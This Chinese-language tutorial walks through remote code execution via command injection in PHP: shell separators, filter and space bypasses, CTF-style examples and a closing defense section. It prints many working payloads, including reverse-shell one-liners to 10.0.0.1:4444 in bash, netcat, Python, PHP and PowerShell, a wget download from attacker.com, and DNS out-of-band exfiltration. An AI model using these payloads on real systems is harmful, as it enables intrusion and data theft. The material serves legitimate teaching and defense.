RCE漏洞深度解析:从命令注入到反弹Shell的实战攻防

📅 2026/7/4 11:34:09
RCE漏洞深度解析:从命令注入到反弹Shell的实战攻防
1. 项目概述从“命令执行”到“远程控制”的认知跃迁在网络安全领域尤其是渗透测试和漏洞挖掘的实战中RCERemote Code Execution远程代码执行是一个极具分量的词汇。它不像SQL注入那样有明确的“数据库”边界也不像XSS那样局限于浏览器端。RCE的本质是攻击者能够通过网络在目标服务器或系统上执行任意代码从而获得一个“远程终端”或“命令执行环境”。这意味着一旦存在RCE漏洞攻击者理论上可以完全控制目标系统从查看文件、窃取数据到安装后门、横向移动其危害性是最高级别的。我最初接触RCE时常把它和“命令注入”混淆。简单来说命令注入Command Injection是RCE最常见的一种实现方式但RCE的范畴更广。比如通过反序列化漏洞、文件包含漏洞、甚至某些内存破坏漏洞最终都可能达成RCE的效果。我们常说的“拿shell”就是RCE最直观的体现。这个学习系列我会结合我这些年打靶场、做项目、分析真实案例的经验从最基础的原理讲起通过一系列精心挑选的例题带你一步步拆解RCE的利用手法、绕过技巧和防御思路。无论你是刚入门的安全爱好者还是想系统巩固RCE知识的从业者相信这些“保姆级”的详解都能让你有所收获。2. RCE漏洞的核心原理与常见入口点拆解要理解RCE必须先搞清楚代码在服务器端是如何被“执行”的。服务器上的应用程序尤其是Web应用本质上是一个“解释器”或“运行时环境”它接收用户输入按照预设逻辑进行处理并返回结果。RCE漏洞就出现在“用户输入”被不当信任并直接或间接地送入了“代码执行”的环节。2.1 漏洞产生的根本原因信任边界模糊几乎所有RCE漏洞的根源都可以归结为“将不可信的数据当作了代码来执行”。在开发过程中程序员为了方便可能会使用一些能够动态执行字符串的函数。例如在PHP中eval()函数会将其参数作为PHP代码来执行在Python中eval()和exec()有类似功能在Java中可能通过反射或某些脚本引擎如Groovy实现动态代码执行。当这些函数的参数完全或部分地由用户可控时RCE的大门就敞开了。除了直接的代码执行函数更常见的是“命令注入”。许多Web应用需要调用系统命令来完成功能比如使用ping来测试网络连通性使用cat、more来查看文件内容使用find来搜索文件。在PHP中system()、exec()、shell_exec()、passthru()以及反引号都是用来执行系统命令的函数。如果用户输入未经严格过滤就直接拼接到了命令字符串中攻击者就可以利用命令分隔符如;、、|、、||、\n等注入额外的恶意命令。注意这里有一个关键认知点。eval()执行的是当前应用语言的代码如PHP代码而system()等执行的是操作系统层面的命令如Linux的bash命令或Windows的cmd命令。两者最终都能实现控制服务器的效果但利用方式和影响层面略有不同。eval()受限于Web服务运行用户的权限和PHP的安全配置如disable_functions而命令注入直接与系统Shell交互能力更强。2.2 主要漏洞入口点分类根据漏洞触发位置和利用方式RCE入口点可以大致分为以下几类理解这些分类有助于我们在审计和测试时有的放矢代码注入Code Injection用户输入直接进入代码执行环境。典型代表是eval($_GET[‘code’])。这种漏洞通常非常直接利用起来也相对简单但现代Web框架和安全的编码实践中已较少见。命令注入Command Injection用户输入被拼接到系统命令中执行。这是实战中最常见的RCE类型。例如一个网络诊断功能system(“ping -c 4 “ . $_GET[‘ip’])如果ip参数传入127.0.0.1; whoami就会在执行ping后执行whoami命令。反序列化Deserialization应用程序接收序列化的数据通常来自用户输入或不可信来源在反序列化过程中如果类中存在魔术方法如PHP的__wakeup()、__destruct()并且这些方法包含了危险操作就可能触发RCE。这类漏洞往往需要一定的代码审计能力来构造利用链POP Chain。文件包含File Inclusion包括本地文件包含LFI和远程文件包含RFI。当包含的文件路径用户可控时攻击者可以包含一个包含恶意代码的文件如Webshell从而执行代码。RFI在某些配置下可以直接包含远程服务器上的恶意脚本。模板注入SSTI, Server-Side Template Injection现代Web应用常用模板引擎如Jinja2, Twig, Smarty来渲染页面。如果用户输入被直接嵌入模板中进行渲染攻击者可能注入模板语言的语句从而执行代码或读取敏感信息。其他杂项如通过XXEXML外部实体注入读取文件或发起SSRF进而可能配合其他漏洞达到RCE通过上传漏洞上传可执行文件如.php、.jsp并访问触发甚至是一些特定框架、组件的历史漏洞如Struts2系列漏洞、Log4j2漏洞。3. 命令注入漏洞的深度解析与利用手法命令注入是RCE的“主力军”我们通过一个典型的场景来深入剖析。假设有一个简单的PHP网络工具页面?php $target $_GET[ip]; if(isset($target)){ $cmd shell_exec(ping -c 4 . $target); echo pre{$cmd}/pre; } ?这段代码的意图很清晰用户传入一个IP地址服务器执行ping命令并返回结果。问题出在$target被直接拼接到了命令字符串中。3.1 基础注入手法与命令分隔符攻击者的目标是突破ping命令的限制执行任意其他命令。这依赖于操作系统Shell的命令分隔符。Linux/Unix系统下的分隔符分号;顺序执行多个命令。无论前一个命令是否成功后面的命令都会执行。输入127.0.0.1; id最终命令ping -c 4 127.0.0.1; id结果先执行ping然后执行id命令查看当前用户。与符号将命令放入后台执行。常用于同时执行多条命令。输入127.0.0.1 whoami最终命令ping -c 4 127.0.0.1 whoami管道符|将前一个命令的输出作为后一个命令的输入。如果前一个命令执行失败如ping一个不存在的IP但管道后的命令仍会执行。输入127.0.0.1 | cat /etc/passwd最终命令ping -c 4 127.0.0.1 | cat /etc/passwd逻辑与只有前一个命令执行成功返回值为0才会执行后一个命令。输入127.0.0.1 uname -a逻辑或||只有前一个命令执行失败返回值非0才会执行后一个命令。输入invalid_ip || whoami换行符\n(URL编码为%0a)在Shell中换行也代表命令结束。这在某些过滤了特殊字符但未过滤换行符的场景下有用。输入127.0.0.1%0aid最终命令ping -c 4 127.0.0.1和id成为两条独立的命令。Windows系统下的分隔符顺序执行类似于Linux的;。逻辑与类似于Linux。|管道类似于Linux。||逻辑或类似于Linux。%0a换行同样有效。实操心得在测试未知系统时我通常会先用127.0.0.1配合;或尝试执行whoamiLinux或whoamiWindows来确认漏洞存在和当前用户权限。whoami命令几乎在所有系统都存在且输出简洁明了是完美的“探针”。3.2 绕过常见过滤与防御机制在实际的漏洞利用和CTF题目中直接使用分隔符常常会被拦截。这就需要我们掌握一些绕过技巧。1. 黑名单绕过如果代码中使用了preg_match等函数过滤了;、、|等字符我们可以尝试以下方法使用未过滤的分隔符如果只过滤了;试试、|、\n(%0a)、\r(%0d)。使用变量拼接在bash中变量可以拼接命令。假设过滤了cat我们可以尝试127.0.0.1; ac;bat;c/etc/passwd;$a$b $c最终执行的命令是cat /etc/passwd。使用空变量127.0.0.1; c\at /etc/passwd。在Shell中反斜杠\会被忽略c\at等同于cat。使用通配符127.0.0.1; /???/c?t /etc/passwd。/???/c?t可以匹配到/bin/cat。使用引号127.0.0.1; c’a’t /etc/passwd或c”a”t。引号在命令解析时会被移除。使用$127.0.0.1; c$t /etc/passwd。$是一个特殊变量在大多数上下文中等同于空字符串。2. 空格绕过空格常用于分隔命令和参数也常被过滤。使用${IFS}IFS是Shell的内部字段分隔符默认包含空格、制表符、换行符。${IFS}可以直接代替空格。输入127.0.0.1;cat${IFS}/etc/passwd使用$IFS$9$9代表第九个参数通常为空。$IFS$9组合常被用作空格。使用重定向符cat/etc/passwd在这里起到了输入重定向的作用同时替代了空格。使用制表符TabURL编码为%09。在某些情况下制表符也能作为命令参数的分隔符。3. 关键字绕过如过滤了cat,more,less,head,tail等文件读取命令使用其他命令tac反向输出文件同样可以读取。nl显示文件内容并加上行号。od、xxd以二进制或十六进制格式查看文件虽然输出不直观但信息都在。sort、uniq处理文件时也会输出内容。strings打印文件中可打印的字符适合查看文本。grepgrep . /etc/passwd匹配所有行从而打印全部内容。使用Shell内置功能127.0.0.1; while read line; do echo $line; done /etc/passwd使用编码/解码127.0.0.1; base64 /etc/passwd将文件内容base64编码后输出然后本地解码。127.0.0.1; od -An -tx1 /etc/passwd输出十六进制再转换。4. 长度限制绕过有时输入长度被严格限制无法写入长命令。写入Webshell通过echo命令将一句话木马写入文件。127.0.0.1; echo ‘?php eval($_POST[“cmd”]);?’ shell.php如果命令长度受限可以分多次写入或者使用追加。使用wget或curl下载远程脚本前提是服务器能出网。127.0.0.1; wget http://attacker.com/shell.php -O /tmp/shell.php使用管道和xargsxargs可以从标准输入构建并执行命令有时可以绕过长度限制。注意事项这些绕过技巧的成功率高度依赖于目标系统的环境Shell类型、可用命令、权限和过滤逻辑的严密程度。在实际测试中需要不断尝试和组合。一个常用的测试流程是先whoami确认权限再ls -la查看目录然后尝试读取关键文件如/etc/passwd,config.php,.env最后尝试获取反向Shell。4. 从命令执行到稳定Shell反弹Shell的多种姿势在命令注入漏洞中执行单条命令如whoami,ls只是第一步。为了进行持续的交互式操作如文件管理、内网探测我们需要获得一个“Shell”。由于目标服务器通常位于防火墙或NAT之后我们无法直接连接它的某个端口因此“反弹Shell”Reverse Shell成为标准操作。反弹Shell的原理让目标机器主动连接我们可控的一台公网服务器的某个端口并将其命令行的输入输出重定向到这个网络连接上。这样我们在自己的服务器上就能接收到一个来自目标的Shell。4.1 常用反弹Shell命令假设攻击者我们的IP是10.0.0.1监听端口是4444。1. Bash反弹bash -i /dev/tcp/10.0.0.1/4444 01bash -i启动一个交互式bash。 /dev/tcp/10.0.0.1/4444将标准输出stdout和标准错误stderr重定向到TCP连接。/dev/tcp/是bash的一个特殊功能可以打开TCP连接。01将标准输入stdin重定向到标准输出即从TCP连接读取输入。变种兼容性更好bash -c ‘bash -i /dev/tcp/10.0.0.1/4444 01’2. Netcatnc反弹Netcat是“网络瑞士军刀”但目标机器上不一定有或者可能有多个版本。传统nc支持-e参数nc -e /bin/sh 10.0.0.1 4444无-e参数的nc需要管道配合rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 10.0.0.1 4444 /tmp/f这条命令创建了一个命名管道/tmp/f然后将Shell的输入输出通过管道和nc与远程连接绑定起来。3. Python反弹Python在服务器上非常普遍。python -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’这条Python脚本创建了一个socket连接然后将标准输入、输出、错误都重定向到这个socket最后启动一个shell。4. PHP反弹如果漏洞本身就是PHP的用PHP反弹非常直接。php -r ‘$sockfsockopen(“10.0.0.1”,4444);exec(“/bin/sh -i 3 3 23”);’或者写入一个PHP文件?php $sockfsockopen(“10.0.0.1”,4444);exec(“/bin/sh -i 3 3 23”); ?5. 其他语言Perl, Ruby, Java等各有对应的单行反弹Shell代码原理类似。4.2 攻击者端的监听在攻击机器上我们需要在指定端口开启监听等待目标连接。使用Netcat监听nc -lvnp 4444-l监听模式。-v详细输出。-n不解析域名。-p指定端口。使用socat监听socat功能更强大可以获取更稳定的TTY。socat file:tty,raw,echo0 tcp-listen:44444.3 提升Shell交互体验通过反弹获得的Shell往往是“非交互式”或“非完整TTY”的表现为无法使用su、sudo、vim等需要终端特性的命令上下键、Tab补全也会失效。我们需要对其进行升级。1. 使用Python pty模块最常用 在获得的反弹Shell中执行python -c ‘import pty; pty.spawn(“/bin/bash”)’或者更稳定的版本python3 -c ‘import pty; pty.spawn(“/bin/bash”)’2. 使用script命令script -qc /bin/bash /dev/null3. 使用socat需要目标安装 在目标机器上执行需要上传socat或目标已有socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4445同时在攻击机用socat监听另一个端口。踩坑实录在实际渗透中经常遇到目标机器没有python、nc、甚至bash被阉割的情况。我的经验是优先尝试bash反弹因为它通常是系统自带的。如果失败依次尝试python、python3、perl、php。同时一定要准备好一个公网VPS用于接收反弹连接并确保防火墙放行了监听端口。获得基础Shell后第一步就是使用python pty升级这能极大提升后续操作的效率。5. 例题实战详解从简单过滤到综合绕过下面我们通过几个模拟真实场景和CTF风格的例题将上述知识串联起来。5.1 例题一基础命令注入题目场景一个简单的ping功能后端PHP代码如下?php $ip $_GET[‘ip’]; if(isset($ip)){ if(strpos($ip, ‘;’) ! false || strpos($ip, ‘’) ! false){ die(‘Hacker!’); } system(“ping -c 4 “ . $ip); } ?分析与利用漏洞点$ip参数直接拼接进system()函数。过滤使用strpos检查了;和发现则直接终止脚本。绕过思路过滤了;和但未过滤其他分隔符如管道符|、逻辑与、逻辑或||、换行符\n。Payload构造尝试127.0.0.1 | whoami。由于|的特性即使ping失败后面的whoami也会执行。尝试127.0.0.1 whoami。因为ping 127.0.0.1通常成功所以后的命令也会执行。尝试127.0.0.1%0awhoami%0a是URL编码的换行符。利用成功执行whoami后可以进一步尝试读取文件或反弹Shell。例如127.0.0.1%0acat /etc/passwd。5.2 例题二过滤空格与关键命令题目场景代码加强了过滤。?php $cmd $_GET[‘cmd’]; $blacklist array(‘ ‘, ‘cat’, ‘more’, ‘less’, ‘head’, ‘tail’, ‘nl’, ‘od’, ‘sort’, ‘uniq’, ‘strings’); $cmd str_replace($blacklist, ‘’, $cmd); system(“echo ‘Result: ‘; “ . $cmd); ?分析与利用漏洞点$cmd参数经过“替换式”过滤后直接拼接进命令。过滤使用str_replace将黑名单中的字符替换为空。注意这种过滤有缺陷。例如输入c at过滤空格后变成cat成功绕过。或者输入ca\t反斜杠在Shell解析时被忽略但str_replace不会处理。绕过空格使用${IFS}、$IFS$9、、、%09Tab等。绕过命令关键字使用变量拼接、引号、反斜杠、通配符。综合Payload构造目标读取/flag.txt。尝试1c\at${IFS}/flag.txt。过滤后str_replace去掉了空格和cat但c\at中的\被保留过滤后变成c\atShell执行时\被忽略成功执行cat。${IFS}代替空格。尝试2ac;bat;$a$b${IFS}/flag.txt。变量拼接过滤机制无法识别。尝试3使用其他未过滤命令如tactac${IFS}/flag.txt。尝试4使用grepgrep${IFS}.*${IFS}/flag.txt。.*匹配所有行。利用成功读取文件内容。5.3 例题三综合过滤与无回显利用题目场景一个更复杂的例子过滤严格且无直接回显。?php $input $_GET[‘input’]; $filter ‘/(\|||;| |\/|cat|flag|tac|more|less|head|tail|nl|od|sort|uniq|strings|base64|xxd|echo|curl|wget)/i’; if(preg_match($filter, $input)){ die(‘Bad input!’); } system($input); ?分析与利用漏洞点system($input)但过滤非常全面包括了常见分隔符、路径分隔符/、所有文件读取命令、编码命令、下载命令。挑战无回显抑制了错误且过滤了echo无法直接输出。需要找到一种外带数据OOB Out-of-Band的方法。思路既然不能回显到页面就让目标服务器把数据发送到我们控制的服务器。外带数据方法DNS带外利用ping或nslookup命令将数据放在域名中通过DNS查询日志获取。Payload:inputping%20-c%201%20whoami.attacker.com目标会执行ping -c 1 root.attacker.com假设whoami结果是root。我们在attacker.com的DNS服务器上就能看到对root.attacker.com的查询记录。HTTP带外如果服务器能出网可以使用curl或wget但这里被过滤了。可以尝试其他方式比如用telnet构造HTTP请求或者用bash的/dev/tcp特性。使用bash的/dev/tcp写入数据inputbash%20-c%20%22exec%203%3E%261%3B%20wget%20--post-file%3D/flag.txt%20http%3A//attacker.com%22。这里需要构造复杂的命令且wget被过滤。可以尝试用printf配合/dev/tcp发送数据但printf可能未被过滤。更简单的方式如果mail命令可用可以发送邮件。另一种思路时间盲注。通过命令执行的时间差来判断信息。例如如果文件存在就sleep 5。Payload:inputtest%20%26%26%20sleep%205。如果页面响应延迟了5秒说明test命令执行成功返回0即前的条件为真。我们可以利用这个特性一位一位地猜测文件内容。例如判断/flag.txt第一个字符是不是finputgrep%20-q%20%5Ef%20/flag.txt%20%26%26%20sleep%205。grep -q ^f静默匹配以f开头的行如果匹配成功文件第一个字符是f则执行sleep 5。这个过程可以编写脚本自动化进行但速度较慢。利用在实际CTF中DNS带外通常是最快捷的方式。需要自己拥有一个域名并配置DNS日志记录。对于真实渗透测试如果目标不出网时间盲注是最后的手段。常见问题与排查技巧实录Payload执行了但没回显首先检查命令是否真的执行了。可以尝试sleep 10看页面是否卡住10秒确认命令执行权限。然后尝试将输出重定向到Web目录下的一个文件whoami /var/www/html/result.txt再通过浏览器访问这个文件。或者使用DNS/HTTP带外。反弹Shell不成功按顺序检查攻击机防火墙是否放行端口监听命令nc -lvnp 4444是否正确目标命令中的IP和端口是否正确目标服务器是否有出网限制尝试更换端口如53、80、443等常用端口可能被放行。尝试不同的反弹Shell命令bash, python, perl, php等。过滤太强感觉无从下手回归本质寻找被遗漏的“原语”。是否过滤了$()但没过滤反引号是否过滤了/但可以用cd和相对路径是否过滤了cat但可以用tac、rev是否可以用env、set命令查看环境变量里面可能有有用信息是否可以通过printf或echo -e配合八进制/十六进制编码来构造字符目标系统是Windows怎么办命令分隔符和语法完全不同。常用、、|、||。路径使用\。文件读取用type、more。反弹Shell常用powershell命令例如powershell -c “$client New-Object System.Net.Sockets.TCPClient(‘10.0.0.1’,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback ‘PS ‘ (pwd).Path ‘ ‘;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”。这条命令很长在长度受限时可能需要拆分或编码。6. 防御之道从开发与运维双视角看RCE防护理解了攻击才能更好地防御。对于开发者和运维人员防止RCE需要贯穿整个软件生命周期。1. 开发阶段治本之策原则永不信任用户输入。这是安全编程的第一铁律。避免直接执行尽可能避免使用eval()、system()、exec()、shell_exec()、passthru()、反引号等危险函数。如果业务必须使用必须进行严格的输入控制。使用安全的替代函数对于执行系统命令使用escapeshellarg()和escapeshellcmd()函数对参数进行转义。$safe_ip escapeshellarg($_GET[‘ip’]); system(“ping -c 4 “ . $safe_ip); // 用户输入会被加上单引号视为一个整体参数对于包含文件使用白名单控制允许包含的文件名禁止用户输入直接参与路径拼接。对于反序列化不要反序列化不可信的数据。如果必须可以使用只允许反序列化特定类的白名单机制。输入验证与过滤采用“白名单”原则只允许符合预期格式的输入如IP地址只允许数字和点。正则表达式要写完整避免被绕过。参数化与安全API对于数据库操作使用参数化查询PDO预处理而非拼接SQL。对于调用外部程序尽量使用提供安全API的库而不是拼接命令行。2. 运维与配置阶段最小权限原则运行Web服务的用户如www-data,nginx,apache应该只有最低必要的权限。绝对不能以root身份运行Web服务。这样即使被RCE攻击者获得的权限也有限。禁用危险函数在PHP的php.ini配置文件中使用disable_functions指令禁用不必要的危险函数。disable_functions eval,assert,system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec,dl,…部署WAFWeb应用防火墙WAF可以拦截常见的攻击payload如命令注入的常见特征字符。但WAF不是万能的可能被绕过应作为纵深防御的一环。及时更新与补丁保持操作系统、Web服务器、数据库、编程语言解释器及所有第三方库/框架的最新版本及时修复已知漏洞。文件系统权限控制确保Web目录不可执行系统命令上传目录不可执行脚本文件通过配置服务器实现如Nginx的location规则禁止执行PHP。网络隔离将Web服务器部署在内网严格限制出站连接减少反弹Shell和数据外泄的可能。3. 安全测试阶段代码审计在开发过程中和上线前进行人工或自动化的代码安全审计重点关注用户输入流入危险函数的地方。渗透测试定期进行黑盒/白盒渗透测试模拟攻击者尝试发现RCE等漏洞。入侵检测与监控部署HIDS主机入侵检测系统监控异常的命令执行行为如/bin/sh、bash -i、wget、curl等命令被Web服务用户调用。监控网络流量发现异常的出站连接反弹Shell。RCE漏洞的攻防是一场持续的博弈。攻击者在不断寻找新的绕过技巧和利用链而防御者则需要构建多层次、纵深的安全体系。对于学习者而言深入理解原理、亲手实践绕过、再从防御角度思考是掌握RCE知识最有效的方法。这个系列的第一篇我们聚焦于最经典的命令注入。在后续的篇章中我们会深入探讨反序列化、文件包含、模板注入等其他导致RCE的漏洞类型以及更高级的利用技巧。